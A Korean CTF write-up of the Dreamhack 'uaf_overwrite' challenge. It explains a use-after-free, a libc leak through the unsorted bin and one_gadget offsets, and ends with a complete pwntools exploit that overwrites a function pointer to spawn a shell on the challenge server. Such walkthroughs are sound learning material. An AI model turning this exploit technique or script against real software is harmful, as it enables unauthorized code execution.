uaf_overwrite
UAF 취약점을 실습하는 문제다.
void robot_func() {
int sel;
robot = (struct Robot *)malloc(sizeof(struct Robot));
strcpy(robot->name, "Robot");
printf("Robot Weight: ");
scanf("%d", &robot->weight);
if (robot->fptr)
robot->fptr();
else
robot->fptr = print_name;
robot->fptr(robot);
free(robot);
}
robot_func()
함수는 Robot 객체를 생성하고 robot→fptr
이 있는 경우에는 해당 포인터가 가리키는 함수를 실행한다.
만약, robot_func()
를 실행하기 전에 fptr
포인터를 system()
로 바꾸면 어떻게 될까?
system()
가 실행된다.
그렇다면, 목표는 fptr 포인터를 조작하는 것이다. 이 과정에서 UAF 취약점을 이용할 것이다.
struct Human {
char name[16];
int weight;
long age;
};
struct Robot {
char name[16];
int weight;
void (*fptr)();
};
선언된 구조체를 보자.
Human과 Robot이 똑같은 크기다.
- 똑같은 크기이므로 UAF 취약점이 발생한다면 이전에 할당했던 데이터인 age를 *fptr로 덮을 수 있다.
○ 공격시나리오
human_func()
를 실행하고 Human 객체를 생성할 때, age에 oneshot 가젯 주소를 입력한다. 이후에는 Human 객체가 free되지만 메모리에는 age로 기록한 데이터는 남아있다.robot_func()
를 실행하면 Robot 객체가 똑같은 메모리를 할당 받으면서robot→fptr
이 age로 덮어진다. 이후에는robot→fptr
이 가리키는 oneshot 가젯이 실행된다.
└─# one_gadget libc-2.27.so
0x4f3d5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL
0x4f432 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a41c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
one_gadget 오프셋을 구했다.
one_gadget은 주소를 구하기위해 libc base
를 구하자. 개인적으로 libc base
주소를 알아내는 과정이 가장 어려웠다.
libc base
주소를 구하는 방법은 unsorted bin의 취약점을 이용하는 방법이다.
잠시 bin 개념을 알아보자.
- ptmalloc 기준으로 다룰 것이다.
컴퓨터에서 메모리의 동적 할당과 해제는 매우 빈번하게 일어난다. 그런데 메모리는 한정적이므로 새로운 메모리 공간을 무한으로 할당할 수 없다.
ptmalloc은 메모리 할당 요청이 발생하면, 해제된 메모리 공간 중에서 재사용할 수 있는 공간이 있는지 탐색하고 재사용한다.
이런 과정을 위해 존재하는 것이 bin이다.
ptmalloc에서는 FastbinsY와 bins로 나뉜다.
우리는 unsorted bin이 속한 bins에 대해서만 알아볼 것이다.
bins은 총 127개로 정의됐다. 62개는 smallbin
, 63개는 largebin
, 나머지 2개는 unsorted bin
으로 사용한다.
이 중에서 unsorted bin
을 활용해서 libc base
를 구할 것이다.
unsorted bin
은 이중 연결리스트로 구성된다.
[사진]은 alloc chunk와 free chunk를 나타낸 것이다.
unsorted bin
에 처음 연결되는 free 청크의 fd와 bk에는 libc 주소가 쓰인다.
- 이때,
unsorted bin
에 연결된 청크를 재할당하면 data 영역에는 libc 주소가 그대로 남는다.
이때, 할당된 청크의 데이터를 읽으면 libc 주소를 획득할 수 있다.
int custom_func() {
unsigned int size;
unsigned int idx;
if (c_idx > 9) {
printf("Custom FULL!!\n");
return 0;
}
printf("Size: ");
scanf("%d", &size);
if (size >= 0x100) {
custom[c_idx] = malloc(size);
printf("Data: ");
read(0, custom[c_idx], size - 1);
printf("Data: %s\n", custom[c_idx]);
printf("Free idx: ");
scanf("%d", &idx);
if (idx < 10 && custom[idx]) {
free(custom[idx]);
custom[idx] = NULL;
}
}
c_idx++;
}
custom_func()
는 0x100 바이트 이상의 크기를 갖는 청크를 할당하고 할당된 청크 중에 원하는 청크를 해제할 수 있는 함수다.
0x410 이하의 크기를 갖는 청크는 tcache
에 먼저 삽입되므로 이보다 큰 청크를 해제해서 unsorted bin
에 연결해야 한다.
주의할 점은 해제할 청크가 탑 청크와 맞닿으면 안 된다. unsorted bin
에 포함되는 청크와 탑 청크는 병합 대상이므로 둘이 맞닿으면 청크가 병합된다. 이를 피하려면 청크 2개를 연속으로 할당하고 처음 할당한 청크를 해제해야 한다.
- free 청크는 맞닿는 경우에 병합되는 특징이 있다.
- 물론, fastbin은 제외다.
정리하면, 0x410보다 큰 크기의 청크를 할당하고 해제하는 경우에는 unsorted bin
에 연결되며 처음에 연결되는 unsorted bin
의 fd와 bk는 libc 주소가 쓰이기 때문에 해당 청크를 다시 할당해서 읽으면 libc 주소를 획득할 수 있다.
참고로 fd에 적힌 libc 주소는 main_arena 주소다.
main_arena base address = __malloc_hook + 0x10
main_arena
주소는 __malloc_hook + 0x10
이다.
즉, 다음과 같이 libc base를 구할 수 있다.
[main_arena] - [main_arena offset] = [libc base]
하지만 libc_base를 구하는 과정에서 주의할 점이 있다.
main_arena를 leak하면 0x3ebc40
이 출력된다. 하지만 해당 오프셋을 사용하면 libc base
주소를 구할 수 없다.
printf("Data: ");
read(0, custom[c_idx], size - 1);
이유는 할당 과정 코드를 보면 알 수 있다.
data 영역에 main_arena 주소가 저장된 상태에서 read(0, custom[c_idx], size - 1)
로 데이터를 쓰는 루틴이 실행된다. 이 과정에서 main_arena 주소의 일부를 덮기 때문에 일부가 덮힌 main_arena 주소가 출력된다.
- 만약, “B”를 입력했다면 main_arena 주소의 1바이트를 “B”로 덮는다.
즉, 0x3ebcXX
와 같이 XX
에는 “B”으로 덮인 상태로 출력된다. 따라서 libc base
를 구하기 위한 오프셋이 달라진다.
다음은 exploit 코드다.
from pwn import *
import warnings
warnings.filterwarnings( 'ignore' )
p = remote("host3.dreamhack.games",12368)
l = ELF('./libc-2.27.so')
arena_offset = l.symbols['__malloc_hook'] + 0x10
def human(weight, age):
p.sendlineafter(">", "1")
p.sendlineafter(": ", str(weight))
p.sendlineafter(": ", str(age))
def robot(weight):
p.sendlineafter(">", "2")
p.sendlineafter(": ", str(weight))
def custom(size, data, idx):
p.sendlineafter(">", "3")
p.sendlineafter(": ", str(size))
p.sendafter(": ", data)
p.sendlineafter(": ", str(idx))
# UAF to calculate the `libc_base`
custom(0x500, "AAAA", 100)
custom(0x500, "AAAA", 100)
custom(0x500, "AAAA", 0)
custom(0x500, "B", 100)
success("main_arena_offset : "+hex(arena_offset))
lb = u64(p.recvline()[:-1].ljust(8, b"\x00")) - 0x3ebc42
og = lb + 0x10a41c
success("libc_base : "+hex(lb))
success("one_gadget : "+hex(og))
# UAF to manipulate `robot->fptr` & get shell
human("1", og)
robot("1")
p.interactive()
libc base를 획득하는 과정부터 설명하겠다.
custom(0x500, "AAAA", 100)
custom(0x500, "AAAA", 100)
custom(0x500, "AAAA", 0)
custom(0x500, "B", 100)
custom_func()
를 4번 실행해서 libc base를 구하는 코드다.
0x500 바이트 공간을 2번 할당하고 0x500 바이트 공간을 1번 해제하여 unsorted bin
에 청크가 저장되도록 했다.
unsorted bin
을 설명할 때 언급했듯이 top 청크와 해제할 청크가 맞닿으면 안되기 때문에 2번 할당했다.
다음으로 0x500 바이트 공간을 다시 재할당하여 unsorted bin
에 저장된 청크를 재활용하도록 했다.
custom_func()
에서는 할당된 청크의 데이터를 입력하는 과정이 있기 때문에 재할당 과정에서 main_arena의 1바이트가 덮인다.
[libc base] + [main_arena + user_input]
이므로 0x3ebc42
가 된다.
- 입력한 데이터는
B == 0x42
결론적으로 [Leak addr] - 0x3ebc42
를 연산하면 [libc base]
주소를 구할 수 있다.
lb = u64(p.recvline()[:-1].ljust(8, b"\x00")) - 0x3ebc42
og = lb + 0x10a41c
success("libc_base : "+hex(lb))
success("one_gadget : "+hex(og))
# UAF to manipulate `robot->fptr` & get shell
human("1", og)
robot("1")
p.interactive()
이어서 libc base
주소를 기반으로 one_gadget 오프셋을 더해서 one_gadget 주소를 구한다.
다음으로 human_func()
와 robot_func()
를 순서대로 실행해서 UAF를 트리거하고 fptr
포인터를 one_gadget 주소로 덮는다.
마지막으로 fptr을 실행한다.
reference
dreamhack - [Exploit Tech: Use After Free]
https://d41jung0d.tistory.com/108